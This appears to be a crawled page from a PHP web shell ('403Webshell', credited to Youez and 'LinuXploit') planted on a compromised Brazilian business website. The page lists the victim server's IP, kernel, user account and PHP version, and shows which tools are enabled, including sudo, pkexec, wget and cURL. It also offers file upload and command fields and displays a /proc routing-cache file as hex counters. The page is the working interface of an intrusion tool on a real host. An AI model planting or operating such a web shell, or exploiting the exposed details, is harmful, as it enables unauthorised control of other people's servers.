403Webshell
Server IP : 189.126.111.107  /  Your IP : 216.73.217.69
Web Server : Apache
System : Linux www.gadotticar.com.br 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64
User : gadotticar ( 1000)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/4131587/net/stat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/4131587/net/stat/rt_cache
entries  in_hit in_slow_tot in_slow_mc in_no_route in_brd in_martian_dst in_martian_src  out_hit out_slow_tot out_slow_mc  gc_total gc_ignored gc_goal_miss gc_dst_overflow in_hlist_search out_hlist_search
00000084  00000000 0ed6d6d0 000002a9 0ec3d7a8 0012ff23 00000000 0000005c  00000000 0006307d 00000009 00000000 00000000 00000000 00000000 00000000 00000000 
00000084  00000000 0dfa520e 00000241 0de52c9f 0015256c 00000000 00000000  00000000 00057766 0000001a 00000000 00000000 00000000 00000000 00000000 00000000 
00000084  00000000 01414da6 000001f6 0134da74 000c732d 00000000 00000000  00000000 00057de1 0000000f 00000000 00000000 00000000 00000000 00000000 00000000 
00000084  00000000 05e00332 00000268 05d3e48a 000c1ea5 00000000 00000000  00000000 0005b096 00000004 00000000 00000000 00000000 00000000 00000000 00000000 
00000084  00000000 17400086 000002b2 172d1a2e 0012e652 00000000 00000000  00000000 00061833 0000001b 00000000 00000000 00000000 00000000 00000000 00000000 
00000084  00000000 0dea2eb6 0000022d 0dd2c77e 00176730 00000000 00000013  00000000 0005ca5f 0000001d 00000000 00000000 00000000 00000000 00000000 00000000 
00000084  00000000 08d37005 0000027f 08c5a52e 000dcad3 00000000 00000000  00000000 0005db1b 0000001a 00000000 00000000 00000000 00000000 00000000 00000000 
00000084  00000000 05ce1d8a 00000276 05c064f3 000db894 00000000 00000000  00000000 0005f865 00000012 00000000 00000000 00000000 00000000 00000000 00000000 

Youez - 2016 - github.com/yon3zu
LinuXploit